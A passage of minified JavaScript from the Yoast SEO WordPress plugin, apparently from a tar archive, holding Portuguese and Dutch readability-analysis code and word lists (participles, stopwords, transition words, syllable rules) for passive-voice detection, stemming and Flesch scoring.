entid","ressoad","ressonad","ressurgid","ressuscitad","restabelecid","restad","restaurad","restituíd","restringid","resultad","resumid","resvalad","retalhad","retaliad","retardad","retes","reticulad","retid","retificad","retinid","retirad","retocad","retomad","retornad","retorquid","retraíd","retratad","retribuíd","retrocedid","retrucad","reunid","reutilizad","revelad","reverberad","reverenciad","revertid","revestid","revigorad","revisad","revistad","revist","revitalizad","revogad","revoltad","revolvid","rezad","ribombad","riçad","ricochetead","ridicularizad","rilhad","rimad","ripad","riscad","ritmad","rivalizad","rocad","roçad","rociad","rodad","rodead","rogad","roíd","rolad","romanizad","rompid","roncad","ronronad","rosnad","rotacionad","rotad","rotead","rot","rotulad","roubad","ruborizad","rubricad","rufad","rugid","rumad","rumiad","ruminad","russificad","sabid","saboread","sabotad","sacad","sacanead","saciad","sacolejad","sacralizad","sacrificad","sacudid","sagrad","saíd","salgad","salientad","salivad","salmourad","salpicad","saltad","saltead","saltitad","saluçad","salvad","salvaguardad","salv","sanad","sancionad","sangrad","santificad","sapatead","sapead","sapecad","saquead","sarad","saturad","saudad","scintilad","secad","secretad","secundad","sedad","sedimentad","seduzid","segad","segmentad","segredad","seguid","segurad","selad","seleccionad","selecionad","selectad","seletad","semead","semelhad","semicerrad","sensualizad","sentad","sentenciad","sentid","separad","sepultad","sequenciad","sequestrad","seqüestrad","serenad","seriad","serpentead","serrad","serrilhad","servid","sibilad","sid","significad","silenciad","silvad","simbolizad","simplificad","simulad","sinalizad","sincopad","sincretizad","sincronizad","singrad","sinterizad","sintetizad","sintonizad","sistematizad","sitiad","situad","soad","sobejad","sobraçad","sobrad","sobre-estimad","sobreestimad","sobrecarregad","sobrepassad","sobrepost","sobrepujad","sobrerrepresentad","sobresaíd","sobressaíd","sobressaltad","sobrestimad","sobrevind","sobrevivid","socad","sociabilizad","socializad","soçobrad","socorrid","sodomizad","sofismad","sofisticad","sofrid","solad","solapad","soldad","soletrad","solicitad","solidificad","soliloquiad","soltad","solt","solubilizad","soluçad","solucionad","somad","sombread","sonambulad","sondad","sonhad","soprad","sorrid","sortead","sortid","sorvid","soterrad","sovad","stalkead","standardizad","stressad","suad","suavizad","subentendid","subestimad","subid","subjugad","sublimad","sublinhad","submergid","subordinad","subornad","subscrit","subsidiad","subsistid","substanciad","substantivad","substituíd","subtraíd","subvencionad","subvertid","sucedid","sucumbid","sufixad","sufocad","sugad","sugerid","suicidad","sujad","sujeitad","sulcad","sumariad","sumid","sumulad","superad","superestimad","supervisad","supervisionad","suplantad","suplementad","suplicad","suportad","supost","supplantad","supprimid","suprid","suprimid","supurad","surdid","surfad","surgid","surpreendid","surrad","surripiad","surrupiad","surtad","suscitad","suspeitad","suspendid","suspirad","sussurrad","sustad","sustentad","sustid","systematizad","tabulad","tacad","tachad","tactead","talhad","tamborilad","tampad","tamponad","tangad","tangid","tapad","tardad","tarraxad","tascad","tatuad","taxad","taxiad","tchovid","tecid","teclad","teimad","telad","telefonad","telegrafad","teleportad","teletransportad","televisad","temid","temperad","tencionad","tendid","tensionad","tentad","teorizad","terceirizad","tergiversad","terminad","terrad","testad","testemunhad","tid","tilintad","timbrad","tingid","tinid","tintad","tipad","tipificad","tirad","tiranizad","tiritad","tirotead","titilad","titulad","tocad","tocaiad","tolerad","tomad","tombad","topad","torcid","tormentad","tornad","tornead","torpedead","torrad","torturad","tosad","tosquiad","tostad","totalizad","touread","trabalhad","traçad","tracejad","tractad","traduzid","traficad","trahid","traíd","trajad","tramad","trancad","trançad","tranquilizad","transad","transbordad","transcorrid","transcrit","transfectad","transferid","transfigurad","transformad","transid","transitad","transladad","transliterad","transmitid","transmudad","transmutad","transpassad","transpirad","transplantad","transportad","transpost","transtornad","transubstanciad","transvasad","trapacead","trasladad","traspassad","tratad","trautead","travad","travestid","trazid","trefilad","treinad","tremeluzid","tremid","tremulad","trenad","trepad","tresandad","trespassad","triangulad","tributad","tricotad","trinad","trincad","trinchad","tripad","tripulad","triscad","triturad","triunfad","trocad","troçad","trombetead","tropeçad","trotad","trovad","trovejad","trovoad","trucidad","truncad","trunfad","tumefeit","tumultuad","tunad","turbad","turvad","tutead","tutelad","tutorad","ufanad","uivad","ultimad","ultrajad","ultrapassad","ululad","unctad","ungid","unhad","unificad","uniformizad","untad","urbanizad","urdid","urgid","urinad","usad","usufruíd","usurpad","utilizad","vacad","vacilad","vadiad","vagabundead","vagad","vaguead","vaiad","validad","valid","valorad","valorizad","valsad","vampirizad","vandalizad","vaporizad","varad","varead","variad","varrid","vasculhad","vastad","vaticinad","vazad","vaziad","vedad","vegetad","velad","velejad","vencid","vendad","vendid","venerad","ventad","ventilad","veranead","verbalizad","veread","vergad","vergastad","verificad","vermelhad","vermelhead","vermelhejad","versad","versejad","versificad","vertid","vesguead","vestid","vetad","vexad","viajad","vibrad","vicejad","vidrad","vigiad","vigorad","vilificad","vilipendiad","vincad","vinculad","vindimad","vind","vingad","vinificad","violad","violentad","virad","visad","visitad","vislumbrad","vist","visualizad","vitimad","vitoriad","vitrificad","vivad","vivenciad","vivid","voad","vocalizad","vociferad","volatilizad","voltad","voltead","volvid","vomitad","vosead","votad","vulcanizad","vulgarizad","vulnerad","wikificad","xeretad","xerocad","xingad","zanzad","zapead","zarpad","zelad","zerad","zicad","ziguezaguead","zipad","zoad","zoiad","zombad","zonad","zumbid","zumbificad","zunid"],{getWords:K}=e.languageProcessing;const{directPrecedenceException:Q,values:X}=e.languageProcessing,{Clause:Y}=X,Z=["sou","és","é","somos","sois","são","era","eras","era","éramos","éreis","eram","serei","serás","será","seremos","sereis","serão","sido","foste","foi","fomos","fostes","fora","foras","fôramos","fôreis","foram","seja","sejas","seja","sejamos","sejais","sejam","fui","fosse","fosses","fosse","fôssemos","fôsseis","fossem","for","fores","for","formos","fordes","forem","seria","serias","seria","seríamos","seríeis","seriam","ser","seres","ser","sermos","serdes","serem"],{createRegexFromArray:aa,getClauses:da}=e.languageProcessing,ea={Clause:class extends Y{constructor(a,d){super(a,d),this._participles=function(a){return K(a).filter((a=>function(a){return["a","o","as","os"].some((d=>{if(a.length>3&&a.endsWith(d)){const e=a.slice(0,-d.length);return H.includes(e)}}))}(a)))}(this.getClauseText()),this.checkParticiples()}checkParticiples(){const a=this.getClauseText(),d=this.getParticiples().filter((d=>!Q(a,d,D)));this.setPassive(d.length>0)}},stopwords:G,auxiliaries:Z,regexes:{auxiliaryRegex:aa(Z),stopCharacterRegex:/([:,])(?=[ \n\r\t'"+\-»«‹›<>])/gi,followingAuxiliaryExceptionRegex:aa(["o","a","os","as","um","ums","uma","umas"])}};function ia(a){return da(a,ea)}const ra=window.lodash,{findMatchingEndingInArray:sa}=e.languageProcessing,oa=function(a,d){return d.includes(a)},ta=function(a,d,e){for(let i=0;i<d.length;i++)a=a.replace(d[i],e[i]);return a},{baseStemmer:na}=e.languageProcessing;function ca(a){const d=(0,ra.get)(a.getData("morphology"),"pt",!1);return d?a=>function(a,d){a.toLowerCase();const e=d.externalStemmer.vowels,i=d.externalStemmer.nasalVowels.originals,r=d.externalStemmer.nasalVowels.replacements,s=(a=ta(a,i,r)).length;if(s<2)return a;let o=s,t=s,n=s;for(let d=0;d<s-1&&o===s;d++)oa(a[d],e)&&!oa(a[d+1],e)&&(o=d+2);for(let d=o;d<s-1&&t===s;d++)oa(a[d],e)&&!oa(a[d+1],e)&&(t=d+2);s>3&&(n=oa(a[1],e)?oa(a[0],e)&&oa(a[1],e)?function(a,d,e){const i=a.length;for(let r=e;r<i;r++)if(!oa(a[r],d))return r;return i}(a,e,2)+1:3:function(a,d,e){const i=a.length;for(let r=e;r<i;r++)if(oa(a[r],d))return r;return i}(a,e,2)+1);const c=a.slice(o),l=a.slice(t);let u=a.slice(n);const m=function(a,d,e,i,r){const s={r1:e,r2:i,rv:r};for(const e of d.standardGroups){const d=sa(s[e.region],e.suffixes);if(d)return a.slice(0,-d.length)+e.replacement}const o=sa(s[d.specialClass.region],d.specialClass.suffixes);return sa(a,d.specialClass.wordEndingsToCheck)&&o&&(a=a.slice(0,-o.length)+d.specialClass.replacement),a}(a,d.externalStemmer.standardSuffixes,c,l,u);let p="";if(a===m&&(p=function(a,d,e){const i=sa(e,d);return""!==i&&(a=a.slice(0,-i.length)),a}(a,d.externalStemmer.verbSuffixes,u)),a!==m?u=(a=m).slice(n):a!==p&&(u=(a=p).slice(n)),m!==a||p!==a)a.endsWith(d.externalStemmer.ciToC[0])&&u.endsWith(d.externalStemmer.ciToC[1])&&(u=(a=a.slice(0,-1)).slice(n));else{const e=sa(u,d.externalStemmer.generalSuffixes);""!==e&&(u=(a=a.slice(0,-e.length)).slice(n))}return a=function(a,d,e){const i=sa(e,d.groupUe.suffixes),r=sa(e,d.groupIe.suffixes),s=sa(e,d.groupESuffixes);return i&&sa(a,d.groupUe.wordEndingsToCheck)?a=a.slice(0,-i.length):r&&sa(a,d.groupIe.wordEndingsToCheck)?a=a.slice(0,-r.length):s?a=a.slice(0,-s.length):a.endsWith(d.cCedilla[0])&&(a=a.slice(0,-1)+d.cCedilla[1]),a}(a,d.externalStemmer.residualSuffixes,u),ta(a,r,i)}(a,d):na}const{formatNumber:la}=e.helpers;function ua(a){const d=248.835-1.015*a.averageWordsPerSentence-84.6*a.numberOfSyllables/a.numberOfWords;return la(d)}const{AbstractResearcher:ma}=e.languageProcessing;class pa extends ma{constructor(a){super(a),Object.assign(this.config,{language:"pt",passiveConstructionType:"periphrastic",firstWordExceptions:i,functionWords:F,stopWords:G,transitionWords:s,twoPartTransitionWords:J,syllables:$,sentenceLength:B}),Object.assign(this.helpers,{getClauses:ia,getStemmer:ca,fleschReadingScore:ua})}}(window.yoast=window.yoast||{}).Researcher=d})();wordpress-seo/js/dist/languages/nl.js000064400000226446147510273070013700 0ustar00(()=>{"use strict";var e={d:(r,n)=>{for(var t in n)e.o(n,t)&&!e.o(r,t)&&Object.defineProperty(r,t,{enumerable:!0,get:n[t]})},o:(e,r)=>Object.prototype.hasOwnProperty.call(e,r),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},r={};e.r(r),e.d(r,{default:()=>Ze});const n=window.yoast.analysis,t=["de","het","een","één","eén","twee","drie","vier","vijf","zes","zeven","acht","negen","tien","dit","dat","die","deze"],o=["aangezien","al","aldus","allereerst","als","alsook","anderzijds","bijgevolg","bijvoorbeeld","bovendien","concluderend","daardoor","daarentegen","daarmee","daarna","daarnaast","daarom","daartoe","daarvoor","dadelijk","dan","desondanks","dienovereenkomstig","dientegevolge","doch","doordat","dus","echter","eerst","evenals","eveneens","evenzeer","hierom","hoewel","immers","indien","integendeel","intussen","kortom","later","maar","mits","nadat","namelijk","net als","niettemin","noch","ofschoon","omdat","ondanks","ondertussen","ook","opdat","resumerend","samengevat","samenvattend","tegenwoordig","teneinde","tenzij","terwijl","tevens","toch","toen","uiteindelijk","vanwege","vervolgens","voorafgaand","vooralsnog","voordat","voorts","vroeger","waardoor","waarmee","waaronder","wanneer","want","zoals","zodat","zodoende","zodra"],d=o.concat(["aan de andere kant","aan de ene kant","aangenomen dat","al met al","alles afwegend","alles bij elkaar","alles in aanmerking nemend","als gevolg van","anders gezegd","daar staat tegenover","daarbij komt","daaruit volgt","dat betekent","dat blijkt uit","de oorzaak daarvan is","de oorzaak hiervan is","door middel van","een voorbeeld hiervan","een voorbeeld van","gesteld dat","hetzelfde als","hieruit kunnen we afleiden","hieruit volgt","hoe het ook zij","in de derde plaats","in de eerste plaats","in de tweede plaats","in één woord","in het bijzonder","in het geval dat","in plaats van","in tegenstelling tot","in vergelijking met","maar ook","met als doel","met andere woorden","met behulp van","met de bedoeling","neem nou","net als","om kort te gaan","onder andere","op dezelfde wijze","stel dat","te danken aan","te wijten aan","ten derde","ten eerste","ten gevolge van","ten slotte","ten tweede","ter conclusie","ter illustratie","ter verduidelijking","tot nog toe","tot slot","vandaar dat","vergeleken met","voor het geval dat"]);function a(e){let r=e;return e.forEach((n=>{(n=n.split("-")).length>0&&n.filter((r=>!e.includes(r))).length>0&&(r=r.concat(n))})),r}const l=["de","het","een","der","des","den"],s=["eén","één","twee","drie","vier","vijf","zes","zeven","acht","negen","tien","elf","twaalf","dertien","veertien","vijftien","zestien","zeventien","achttien","negentien","twintig","honderd","honderden","duizend","duizenden","miljoen","miljoenen","biljoen","biljoenen"],i=["eerste","tweede","derde","vierde","vijfde","zesde","zevende","achtste","negende","tiende","elfde","twaalfde","dertiende","veertiende","vijftiende","zestiende","zeventiende","achttiende","negentiende","twinstigste"],g=["ik","je","jij","hij","ze","we","wij","jullie","zij","u","ge","gij","men"],b=["mij","jou","hem","haar","hen","hun","uw"],v=["dit","dat","deze","die","zelf"],u=["mijn","mijne","jouw","jouwe","zijne","hare","ons","onze","hunne","uwe","elkaars","elkanders"],c=["alle","sommige","sommigen","weinig","weinige","weinigen","veel","vele","velen","geen","beetje","elke","elk","genoeg","meer","meest","meeste","meesten","paar","zoveel","enkele","enkelen","zoveelste","hoeveelste","laatste","laatsten","iedere","allemaal","zekere","ander","andere","gene","enig","enige","verscheidene","verschillende","voldoende","allerlei","allerhande","enerlei","enerhande","beiderlei","beiderhande","tweeërlei","tweeërhande","drieërlei","drieërhande","velerlei","velerhande","menigerlei","menigerhande","enigerlei","enigerhande","generlei","generhande"],h=["mezelf","mijzelf","jezelf","jouzelf","zichzelf","haarzelf","hemzelf","onszelf","julliezelf","henzelf","hunzelf","uzelf","zich"],m=["mekaar","elkaar","elkander","mekander"],w=["iedereen","ieder","eenieder","alleman","allen","alles","iemand","niemand","iets","niets","menigeen"],k=["ieders","aller","iedereens","eenieders"],p=["welke","welk","wat","wie","wiens","wier"],f=["hoe","waarom","waar","hoezo","hoeveel"],y=["daaraan","daarachter","daaraf","daarbij","daarbinnen","daarboven","daarbuiten","daardoorheen","daarheen","daarin","daarjegens","daarmede","daarnaar","daarnaartoe","daaromtrent","daaronder","daarop","daarover","daaroverheen","daarrond","daartegen","daartussen","daartussenuit","daaruit","daarvan","daarvandaan","eraan","erachter","erachteraan","eraf","erbij","erbinnen","erboven","erbuiten","erdoor","erdoorheen","erheen","erin","erjegens","ermede","ermee","erna","ernaar","ernaartoe","ernaast","erom","eromtrent","eronder","eronderdoor","erop","eropaf","eropuit","erover","eroverheen","errond","ertegen","ertegenaan","ertoe","ertussen","ertussenuit","eruit","ervan","ervandaan","ervandoor","ervoor","hieraan","hierachter","hieraf","hierbij","hierbinnen","hierboven","hierbuiten","hierdoor","hierdoorheen","hierheen","hierin","hierjegens","hierlangs","hiermede","hiermee","hierna","hiernaar","hiernaartoe","hiernaast","hieromheen","hieromtrent","hieronder","hierop","hierover","hieroverheen","hierrond","hiertegen","hiertoe","hiertussen","hiertussenuit","hieruit","hiervan","hiervandaan","hiervoor","vandaan","waaraan","waarachter","waaraf","waarbij","waarboven","waarbuiten","waardoorheen","waarheen","waarin","waarjegens","waarmede","waarna","waarnaar","waarnaartoe","waarnaast","waarop","waarover","waaroverheen","waarrond","waartegen","waartegenin","waartoe","waartussen","waartussenuit","waaruit","waarvan","waarvandaan","waarvoor"],j=["daar","hier","ginder","daarginds","ginds","ver","veraf","ergens","nergens","overal","dichtbij","kortbij"],z=["word","wordt","werd","werden","ben","bent","is","was","waren"],x=["worden","zijn"],S=["heb","hebt","heeft","hadden","had","kun","kan","kunt","kon","konden","mag","mocht","mochten","dien","dient","diende","dienden","moet","moest","moesten","ga","gaat","ging","gingen"],P=["hebben","kunnen","mogen","dienen","moeten","gaan"],E=["blijkt","blijk","bleek","bleken","gebleken","dunkt","dunk","dunkte","dunkten","gedunkt","heet","heette","heetten","geheten","lijkt","lijk","geleken","leek","leken","schijn","schijnt","scheen","schenen","toescheen","toeschijnt","toeschijn","toeschenen"],F=["blijken","dunken","heten","lijken","schijnen","toeschijnen"],B=["à","aan","aangaande","achter","behalve","behoudens","beneden","benevens","benoorden","benoordoosten","benoordwesten","beoosten","betreffende","bewesten","bezijden","bezuiden","bezuidoosten","bezuidwesten","bij","binnen","blijkens","boven","bovenaan","buiten","circa","conform","contra","cum","dankzij","door","gedurende","gezien","in","ingevolge","inzake","jegens","krachtens","langs","luidens","met","middels","na","naar","naast","nabij","namens","nevens","niettegenstaande","nopens","om","omstreeks","omtrent","onder","onderaan","ongeacht","onverminderd","op","over","overeenkomstig","per","plus","post","richting","rond","rondom","spijts","staande","te","tegen","tegenover","ten","ter","tijdens","tot","tussen","uit","van","vanaf","vanuit","versus","via","vis-à-vis","volgens","voor","voorbij","wegens","zijdens","zonder"],M=["af","heen","mee","toe","achterop","onderin","voorin","bovenop","buitenop","achteraan","onderop","binnenin","tevoren"],W=["en","alsmede","of","ofwel","en/of"],O=["zowel","evenmin","zomin","hetzij"],T=["vermits","dewijl","dorodien","naardien","nademaal","overmits","wijl","eer","eerdat","aleer","vooraleer","alvorens","totdat","zolang","sinds","sedert","ingeval","tenware","alhoewel","hoezeer","uitgezonderd","zoverre","zover","naargelang","naarmate","alsof"],I=["zegt","zei","vraagt","vroeg","denkt","dacht","stelt","pleit","pleitte"],V=["zeer","erg","redelijk","flink","tikkeltje","bijzonder","ernstig","enigszins","zo","tamelijk","nogal","behoorlijk","zwaar","heel","hele","reuze","buitengewoon","ontzettend","vreselijk"],A=["laat","liet","lieten","kom","komt","kwam","kwamen","maakt","maak","maakte","maakten","doe","doet","deed","deden","vindt","vind","vond","vonden"],D=["laten","komen","maken","doen","vinden"],C=["nieuw","nieuwe","nieuwer","nieuwere","nieuwst","nieuwste","oud","oude","ouder","oudere","oudst","oudste","vorig","vorige","goed","goede","beter","betere","best","beste","groot","grote","groter","grotere","grootst","grootste","makkelijk","makkelijke","makkelijker","makkelijkere","makkelijkst","makkelijste","gemakkelijk","gemakkelijke","gemakkelijker","gemakkelijkere","gemakkelijkst","gemakkelijste","simpel","simpele","simpeler","simpelere","simpelst","simpelste","snel","snelle","sneller","snellere","snelst","snelste","verre","verder","verdere","verst","verste","lang","lange","langer","langere","langst","langste","hard","harde","harder","hardere","hardst","hardste","minder","mindere","minst","minste","eigen","laag","lage","lager","lagere","laagst","laagste","hoog","hoge","hoger","hogere","hoogst","hoogste","klein","kleine","kleiner","kleinere","kleinst","kleinste","kort","korte","korter","kortere","kortst","kortste","herhaaldelijke","directe","ongeveer","slecht","slechte","slechter","slechtere","slechtst","slechtste","zulke","zulk","zo'n","zulks","er","extreem","extreme","bijbehorende","bijbehorend","niet"],R=["oh","wauw","hèhè","hè","hé","au","ai","jaja","welja","jawel","ssst","heremijntijd","hemeltjelief","aha","foei","hmm","nou","nee","tja","nja","okido","ho","halt","komaan","komop","verrek","nietwaar","brr","oef","ach","och","bah","enfin","afijn","haha","hihi","hatsjie","hatsjoe","hm","tring","vroem","boem","hopla"],N=["ml","cl","dl","l","tl","el","mg","g","gr","kg","ca","theel","min","sec","uur"],L=["seconde","secondes","seconden","minuut","minuten","uur","uren","dag","dagen","week","weken","maand","maanden","jaar","jaren","vandaag","morgen","overmorgen","gisteren","eergisteren","'s","morgens","avonds","middags","nachts"],H=["ding","dingen","manier","manieren","item","items","keer","maal","procent","geval","aspect","persoon","personen","deel"],$=["wel","ja","neen","oké","oke","okee","ok","zoiets","€","euro"],q=(a([].concat(x,P,F,D)),a([].concat(i,C)),a([].concat(l,B,W,v,V,c)),a([].concat(o,g,b,h,R,s,z,S,E,I,A,w,O,T,f,p,j,$,M,y,N,L,H,m,u)),a([].concat(l,f,s,u,h,k,E,F,B))),_=a([].concat(l,s,i,v,u,h,m,g,b,c,w,k,p,f,y,j,M,z,x,S,P,E,F,B,W,O,T,I,o,["absoluut","zeker","ongetwijfeld","sowieso","onmiddelijk","meteen","inclusief","direct","ogenblikkelijk","terstond","natuurlijk","vanzelfsprekend","gewoonlijk","normaliter","doorgaans","werkelijk","daadwerkelijk","inderdaad","waarachtig","oprecht","bijna","meestal","misschien","waarschijnlijk","wellicht","mogelijk","vermoedelijk","allicht","aannemelijk","oorspronkelijk","aanvankelijk","initieel","eigenlijk","feitelijk","wezenlijk","juist","reeds","alvast","bijv.","vaak","dikwijls","veelal","geregeld","menigmaal","regelmatig","veelvuldig","eenvoudigweg","simpelweg","louter","kortweg","stomweg","domweg","zomaar","eventueel","mogelijkerwijs","eens","weleens","nooit","ooit","anders","momenteel","thans","incidenteel","trouwens","elders","volgend","recent","onlangs","recentelijk","laatst","zojuist","relatief","duidelijk","overduidelijk","klaarblijkelijk","nadrukkelijk","ogenschijnlijk","kennelijk","schijnbaar","alweer","continu","herhaaldelijk","nog","steeds","nu"],V,A,D,R,C,N,H,$,L,["mevr","dhr","mr","dr","prof"],["jr","sr"])),G=["alhoewel","als","dan","doordat","hoewel","hoezeer","indien","mits","naargelang","naarmate","nadat","ofschoon","omdat","opdat","tenzij","toen","voordat","voorzover","wanneer","zoals","zodat","zodra","zolang","wie","wiens","wier","welke","welk"],J=[["aan de ene kant","aan de andere kant"],["enerzijds","anderzijds"],["natuurlijk","maar"],["niet alleen","maar ook"],["noch","noch"],["zowel","als"]],U=JSON.parse('{"vowels":"aáäâeéëêiíïîoóöôuúüûy","deviations":{"vowels":[{"fragments":["ue$","dge$","[tcp]iënt","ace$","[br]each","[ainpr]tiaal","[io]tiaan","gua[yc]","[^i]deal","tive$","load","[^e]coke","[^s]core$"],"countModifier":-1},{"fragments":["aä","aeu","aie","ao","ë","eo","eú","ieau","ea$","ea[^u]","ei[ej]","eu[iu]","ï","iei","ienne","[^l]ieu[^w]","[^l]ieu$","i[auiy]","stion","[^cstx]io","^sion","riè","oö","oa","oeing","oie","[eu]ü","[^q]u[aeèo]","uie","[bhnpr]ieel","[bhnpr]iël"],"countModifier":1},{"fragments":["[aeolu]y[aeéèoóu]"],"countModifier":1}],"words":{"full":[{"word":"bye","syllables":1},{"word":"core","syllables":1},{"word":"cure","syllables":1},{"word":"dei","syllables":2},{"word":"dope","syllables":1},{"word":"dude","syllables":1},{"word":"fake","syllables":1},{"word":"fame","syllables":1},{"word":"five","syllables":1},{"word":"hole","syllables":1},{"word":"least","syllables":1},{"word":"lone","syllables":1},{"word":"minute","syllables":2},{"word":"move","syllables":1},{"word":"nice","syllables":1},{"word":"one","syllables":1},{"word":"state","syllables":1},{"word":"surplace","syllables":2},{"word":"take","syllables":1},{"word":"trade","syllables":1},{"word":"wide","syllables":1}],"fragments":{"global":[{"word":"adieu","syllables":2},{"word":"airline","syllables":2},{"word":"airmiles","syllables":2},{"word":"alien","syllables":3},{"word":"ambient","syllables":3},{"word":"announcement","syllables":3},{"word":"appearance","syllables":3},{"word":"appeasement","syllables":3},{"word":"atheneum","syllables":4},{"word":"awesome","syllables":2},{"word":"baccalaurei","syllables":5},{"word":"baccalaureus","syllables":5},{"word":"baseball","syllables":3},{"word":"basejump","syllables":2},{"word":"banlieue","syllables":3},{"word":"bapao","syllables":2},{"word":"barbecue","syllables":3},{"word":"beamer","syllables":2},{"word":"beanie","syllables":2},{"word":"beat","syllables":1},{"word":"belle","syllables":2},{"word":"bête","syllables":1},{"word":"bingewatch","syllables":2},{"word":"blocnote","syllables":2},{"word":"blue","syllables":1},{"word":"board","syllables":1},{"word":"break","syllables":1},{"word":"broad","syllables":1},{"word":"bulls-eye","syllables":2},{"word":"business","syllables":2},{"word":"byebye","syllables":2},{"word":"cacao","syllables":2},{"word":"caesar","syllables":2},{"word":"camaieu","syllables":3},{"word":"caoutchouc","syllables":2},{"word":"carbolineum","syllables":5},{"word":"catchphrase","syllables":1},{"word":"carrier","syllables":3},{"word":"cheat","syllables":1},{"word":"cheese","syllables":1},{"word":"circonflexe","syllables":3},{"word":"clean","syllables":1},{"word":"cloak","syllables":1},{"word":"cobuying","syllables":3},{"word":"comeback","syllables":2},{"word":"comfortzone","syllables":3},{"word":"communiqué","syllables":4},{"word":"conopeum","syllables":4},{"word":"console","syllables":2},{"word":"corporate","syllables":3},{"word":"coûte","syllables":1},{"word":"creamer","syllables":2},{"word":"crime","syllables":1},{"word":"cruesli","syllables":2},{"word":"deadline","syllables":2},{"word":"deautoriseren","syllables":6},{"word":"deuce","syllables":1},{"word":"deum","syllables":2},{"word":"dirndl","syllables":2},{"word":"dread","syllables":2},{"word":"dreamteam","syllables":2},{"word":"drone","syllables":1},{"word":"enquête","syllables":3},{"word":"escape","syllables":2},{"word":"exposure","syllables":3},{"word":"extranei","syllables":4},{"word":"extraneus","syllables":4},{"word":"eyecatcher","syllables":3},{"word":"eyeliner","syllables":3},{"word":"eyeopener","syllables":4},{"word":"eyetracker","syllables":3},{"word":"eyetracking","syllables":3},{"word":"fairtrade","syllables":2},{"word":"fauteuil","syllables":2},{"word":"feature","syllables":2},{"word":"feuilletee","syllables":3},{"word":"feuilleton","syllables":3},{"word":"fisheye","syllables":2},{"word":"fineliner","syllables":3},{"word":"finetunen","syllables":3},{"word":"forehand","syllables":2},{"word":"freak","syllables":1},{"word":"fusioneren","syllables":4},{"word":"gayparade","syllables":3},{"word":"gaypride","syllables":2},{"word":"goal","syllables":1},{"word":"grapefruit","syllables":2},{"word":"gruyère","syllables":3},{"word":"guele","syllables":1},{"word":"guerrilla","syllables":3},{"word":"guest","syllables":1},{"word":"hardware","syllables":2},{"word":"haute","syllables":1},{"word":"healing","syllables":2},{"word":"heater","syllables":2},{"word":"heavy","syllables":2},{"word":"hoax","syllables":1},{"word":"hotline","syllables":2},{"word":"idee-fixe","syllables":3},{"word":"inclusive","syllables":3},{"word":"inline","syllables":2},{"word":"intake","syllables":2},{"word":"intensive","syllables":3},{"word":"jeans","syllables":1},{"word":"Jones","syllables":1},{"word":"jubileum","syllables":4},{"word":"kalfsribeye","syllables":3},{"word":"kraaiennest","syllables":3},{"word":"lastminute","syllables":3},{"word":"learning","syllables":2},{"word":"league","syllables":1},{"word":"line-up","syllables":2},{"word":"linoleum","syllables":4},{"word":"load","syllables":1},{"word":"loafer","syllables":2},{"word":"longread","syllables":2},{"word":"lookalike","syllables":3},{"word":"louis","syllables":3},{"word":"lyceum","syllables":3},{"word":"magazine","syllables":3},{"word":"mainstream","syllables":2},{"word":"make-over","syllables":3},{"word":"make-up","syllables":2},{"word":"malware","syllables":2},{"word":"marmoleum","syllables":4},{"word":"mausoleum","syllables":4},{"word":"medeauteur","syllables":4},{"word":"midlifecrisis","syllables":4},{"word":"migraineaura","syllables":5},{"word":"milkshake","syllables":2},{"word":"millefeuille","syllables":4},{"word":"mixed","syllables":1},{"word":"muesli","syllables":2},{"word":"museum","syllables":3},{"word":"must-have","syllables":2},{"word":"must-read","syllables":2},{"word":"notebook","syllables":2},{"word":"nonsense","syllables":2},{"word":"nowhere","syllables":2},{"word":"nurture","syllables":2},{"word":"offline","syllables":2},{"word":"oneliner","syllables":3},{"word":"onesie","syllables":2},{"word":"online","syllables":2},{"word":"opinion","syllables":3},{"word":"paella","syllables":3},{"word":"pacemaker","syllables":3},{"word":"panache","syllables":2},{"word":"papegaaienneus","syllables":5},{"word":"passe-partout","syllables":3},{"word":"peanuts","syllables":2},{"word":"perigeum","syllables":4},{"word":"perineum","syllables":4},{"word":"perpetuum","syllables":4},{"word":"petroleum","syllables":4},{"word":"phone","syllables":3},{"word":"picture","syllables":2},{"word":"placemat","syllables":2},{"word":"porte-manteau","syllables":3},{"word":"portefeuille","syllables":4},{"word":"presse-papier","syllables":3},{"word":"primetime","syllables":2},{"word":"queen","syllables":1},{"word":"questionnaire","syllables":3},{"word":"queue","syllables":1},{"word":"reader","syllables":2},{"word":"reality","syllables":3},{"word":"reallife","syllables":2},{"word":"remake","syllables":2},{"word":"repeat","syllables":2},{"word":"repertoire","syllables":3},{"word":"research","syllables":2},{"word":"reverence","syllables":3},{"word":"ribeye","syllables":2},{"word":"ringtone","syllables":3},{"word":"road","syllables":1},{"word":"roaming","syllables":2},{"word":"sciencefiction","syllables":4},{"word":"selfmade","syllables":2},{"word":"sidekick","syllables":2},{"word":"sightseeing","syllables":3},{"word":"skyline","syllables":2},{"word":"smile","syllables":1},{"word":"sneaky","syllables":2},{"word":"software","syllables":2},{"word":"sparerib","syllables":2},{"word":"speaker","syllables":2},{"word":"spread","syllables":1},{"word":"statement","syllables":2},{"word":"steak","syllables":1},{"word":"steeplechase","syllables":3},{"word":"stonewash","syllables":2},{"word":"store","syllables":1},{"word":"streaken","syllables":2},{"word":"stream","syllables":1},{"word":"streetware","syllables":1},{"word":"supersoaker","syllables":4},{"word":"surprise-party","syllables":4},{"word":"sweater","syllables":2},{"word":"teaser","syllables":2},{"word":"tenue","syllables":2},{"word":"template","syllables":2},{"word":"timeline","syllables":2},{"word":"tissue","syllables":2},{"word":"toast","syllables":1},{"word":"tête-à-tête","syllables":3},{"word":"typecast","syllables":2},{"word":"unique","syllables":2},{"word":"ureum","syllables":3},{"word":"vibe","syllables":1},{"word":"vieux","syllables":1},{"word":"ville","syllables":1},{"word":"vintage","syllables":2},{"word":"wandelyup","syllables":3},{"word":"wiseguy","syllables":2},{"word":"wake-up-call","syllables":3},{"word":"webcare","syllables":2},{"word":"winegum","syllables":2},{"word":"base","syllables":1,"notFollowedBy":["e","n","r"]},{"word":"game","syllables":1,"notFollowedBy":["n","l","r"]},{"word":"style","syllables":1,"notFollowedBy":["n","s"]},{"word":"douche","syllables":1,"notFollowedBy":["n","s"]},{"word":"space","syllables":1,"notFollowedBy":["n","s"]},{"word":"striptease","syllables":2,"notFollowedBy":["n","s"]},{"word":"jive","syllables":1,"notFollowedBy":["n","r"]},{"word":"keynote","syllables":2,"notFollowedBy":["n","r"]},{"word":"mountainbike","syllables":3,"notFollowedBy":["n","r"]},{"word":"face","syllables":1,"notFollowedBy":["n","t"]},{"word":"challenge","syllables":2,"notFollowedBy":["n","r","s"]},{"word